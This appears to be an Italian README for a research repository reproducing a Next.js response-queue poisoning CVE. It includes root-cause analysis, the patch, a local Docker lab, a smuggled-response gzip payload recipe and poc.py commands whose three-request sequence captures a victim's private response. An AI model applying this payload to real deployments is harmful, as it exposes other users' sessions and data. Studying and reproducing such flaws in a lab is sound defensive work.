
PoC differenziale standalone e dual-lab Docker per CVE-2026-119348, una vulnerabilità di avvelenamento della coda di risposte tramite framing compresso obsoleto in Next.js self-hosted.
GHSA: GHSA-pc58-hwjq-p385
CVSS 4.0: 6.3 (Moderato) — AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N
Prodotto: Vercel Next.js (next), self-hosted (next start)
Questo repository contiene una riproduzione completa e deterministica (laboratorio docker + exploit standalone) della vulnerabilità di iniezione e divulgazione di risposte cross-client corretta nella release di sicurezza di Next.js di novembre 2026. Al momento della creazione di questo laboratorio non esisteva alcun PoC pubblico (verificato il 2026-11-20: ricerca di repository/codice su GitHub per gli id CVE e GHSA → 0 risultati).
Il fetch di Node (undici) decomprime in modo trasparente un corpo content-encoding: gzip ma
preserva gli header originali della risposta, incluso content-length: <compressed-size>.
Quando un'applicazione Next.js self-hosted restituisce una Response upstream recuperata tramite fetch
invariata — da un route handler dell'App Router, da una voce della fetch-cache o da un middleware
del runtime Node — le versioni vulnerabili di Next inoltrano al client il framing compresso obsoleto
mentre trasmettono in streaming il corpo più lungo e decompresso:
HTTP/1.1 200 OK
content-encoding: gzip ← forwarded
content-length: 70 ← framing of the COMPRESSED body (stale)
← body actually sent: 116 decoded bytes
AAAA…A HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected
└─ 70 bytes ─┘└──────────── 46 bytes of overflow ────────────┘
Node.js scrive byte del corpo oltre il Content-Length dichiarato senza alcun errore e mantiene
aperta la connessione keep-alive. Qualsiasi reverse proxy HTTP/1.1 che accoda richieste pipelined
su una connessione backend condivisa (la precondizione indicata nell'advisory — ad es. HAProxy
http-reuse always, vari proxy basati su Node.js) demultiplexa le risposte del backend strettamente
in base al framing dichiarato. I byte in eccesso vengono quindi interpretati come la risposta successiva nella
coda:
| Branch | Vulnerabile | Corretta |
|---|---|---|
| 16.x (Active LTS) | >= 16.0.0, <= 16.4.4 | 16.4.5 |
| 15.x (Maintenance LTS) | <= 15.5.28 | 15.5.29 |
In vercel/next.js al tag v16.4.4:
packages/next/src/server/send-response.ts:24-70 — sendResponse() aggiunge ogni
header della Response del handler (viene saltato solo x-middleware-set-cookie) e poi
inoltra il corpo decodificato. Gli header content-length / content-encoding /
transfer-encoding inoltrati descrivono il corpo codificato che undici ha già decodificato.packages/next/src/server/next-server.ts:2009-2012 — il ciclo di risposta del middleware salta
solo content-encoding, copiando comunque i content-length /
transfer-encoding obsoleti.packages/next/src/server/web/sandbox/sandbox.ts:23)
eliminava già questi tre header — la falla era nei percorsi del Node-runtime.Correzione (v16.4.5, commit
2842833,
15.x: 848ec29):
entrambi i percorsi di inoltro ora eliminano content-length, content-encoding e transfer-encoding
(FORBIDDEN_HEADERS), così Node.js incornicia correttamente il corpo decodificato con
transfer-encoding: chunked.
next start) — non interessato sulla piattaforma Vercel.Response recuperata e influenzata dall'attaccante (qualsiasi
schema di inoltro/relay: return fetch(url)), direttamente o tramite la cache di fetch.Nessuna autenticazione, nessuna interazione dell'utente.
lab/
├── app/ # the victim Next.js app (source shared by both stacks)
│ └── app/
│ ├── proxy/route.ts # GET /proxy?u=<url> → return fetch(u, {cache:'no-store'})
│ ├── proxy-cached/route.ts # GET /proxy-cached?u=<url> → return fetch(u, {next:{revalidate:3600}})
│ ├── api/secret/route.ts # victim's private JSON (user alice + VICTIM_SECRET…)
│ └── page.tsx # home page (HOME-PAGE-MARKER)
├── upstream/server.py # attacker-controlled origin: fixed-point gzip payload
├── edgeproxy/proxy.py # HTTP/1.1 proxy, ONE shared backend conn, pipelining, FIFO delivery
├── next.Dockerfile # ARG NEXT_VERSION — 16.4.4 (vuln) vs 16.4.5 (fixed)
├── compose.vuln.yml # project cvelab_cve-2026-119348_vuln → 127.0.0.1:{8080,3000,9099}
├── compose.fixed.yml # project cvelab_cve-2026-119348_fixed → 127.0.0.1:{8081,3001,9098}
├── up.sh / down.sh
└── sanity/ # node-level experiments backing the analysis
Il payload upstream malevolo (lab/upstream/server.py): P = 'A'*n + "HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected"
con n scelto in modo che n == len(gzip(P)) (un punto fisso, n = 70 qui, decodificato = 116 B).
L'applicazione emette quindi una risposta il cui Content-Length: 70 dichiarato copre solo il prefisso
di A, e i 46 byte finali sono una risposta HTTP falsificata completamente formata.
# 1. start both stacks (builds [email protected] and [email protected] images)
./lab/up.sh
# 2. run the exploit against both
python3 poc.py \
--url http://127.0.0.1:8080 \ # proxy → VULNERABLE app (16.4.4)
--fixed-url http://127.0.0.1:8081 \ # proxy → PATCHED app (16.4.5)
--upstream http://127.0.0.1:9099 \ # attacker origin (host-mapped port of lab/upstream)
--next-url http://127.0.0.1:3000 \ # optional: direct app framing probe
--next-fixed-url http://127.0.0.1:3001 \
--out poc_result.json
# NOTE on --upstream: poc.py passes this URL to the victim app as the fetch target,
# but ALSO talks to it directly to plant/verify the payload. From the docker host both
# work with the mapped port above; if you run poc.py from inside the compose network,
# use http://upstream:8080 instead.
# 3. inspect delivery decisions of the pipelining proxy
docker logs cvelab_cve-2026-119348_vuln-proxy
poc.py è autonomo (Python 3, solo libreria standard). Ogni round accoda tre richieste
sulla connessione backend condivisa:
#1 attacker GET /proxy?u=…/gzip?delay=0.4 ← poisoned framing (delay ⇒ deterministic pipelining)
#2 victim GET /api/secret (Cookie: session=victim-alice-7f3a9c)
#3 attacker GET / ← collects the displaced response